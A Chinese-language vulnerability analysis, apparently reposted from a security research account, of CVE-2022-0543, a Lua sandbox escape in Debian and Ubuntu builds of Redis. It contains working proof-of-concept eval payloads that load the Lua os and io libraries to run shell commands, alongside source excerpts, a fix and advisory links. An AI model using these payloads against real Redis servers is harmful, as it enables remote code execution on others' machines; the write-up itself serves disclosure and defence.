0x01 漏洞描述
Redis是一种非常广泛使用的缓存服务，但它也被用作消息代理。客户端通过套接字与 Redis 服务器通信，发送命令，服务器更改其状态（即其内存结构）以响应此类命令。Redis 嵌入了 Lua 编程语言作为其脚本引擎，可通过eval命令使用。Lua 引擎应该是沙盒化的，即客户端可以与 Lua 中的 Redis API 交互，但不能在运行 Redis 的机器上执行任意代码。
0x02 漏洞复现
docker-compose up docker exec -it xxxx(容器id) /bin/bashredis-cli -h 127.0.0.1
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaope_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
0x03 漏洞分析
void luaLoadLibraries(lua_State *lua) {
luaLoadLib(lua, "", luaopen_base);
luaLoadLib(lua, LUA_TABLIBNAME, luaopen_table);
luaLoadLib(lua, LUA_STRLIBNAME, luaopen_string);
luaLoadLib(lua, LUA_MATHLIBNAME, luaopen_math);
luaLoadLib(lua, LUA_DBLIBNAME, luaopen_debug);
luaLoadLib(lua, "cjson", luaopen_cjson);
luaLoadLib(lua, "struct", luaopen_struct);
luaLoadLib(lua, "cmsgpack", luaopen_cmsgpack);
luaLoadLib(lua, "bit", luaopen_bit);
#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);
luaLoadLib(lua, LUA_OSLIBNAME, luaopen_os);
#endif
...
...
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do
echo "if (luaL_dostring(lua, "$$X = require('$$X');"))" >>$@;
echo " serverLog(LL_NOTICE, "Error loading $$X library");" >>$@;
done
echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@ 0x04 漏洞影响 & 解决方案
Ubuntu的Redis-Server
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Debain的Redis-Server
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
修复方案：
luaL_dostring(lua, "module = nil; require = nil;package=nil;"0x05 参考链接
-
https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
-
https://ubuntu.com/security/CVE-2022-0543
-
https://security-tracker.debian.org/tracker/CVE-2022-0543
点个在看你最好看
原文始发于微信公众号（山石网科安全技术研究院）：CVE-2022-0543 Redis沙盒逃逸分析
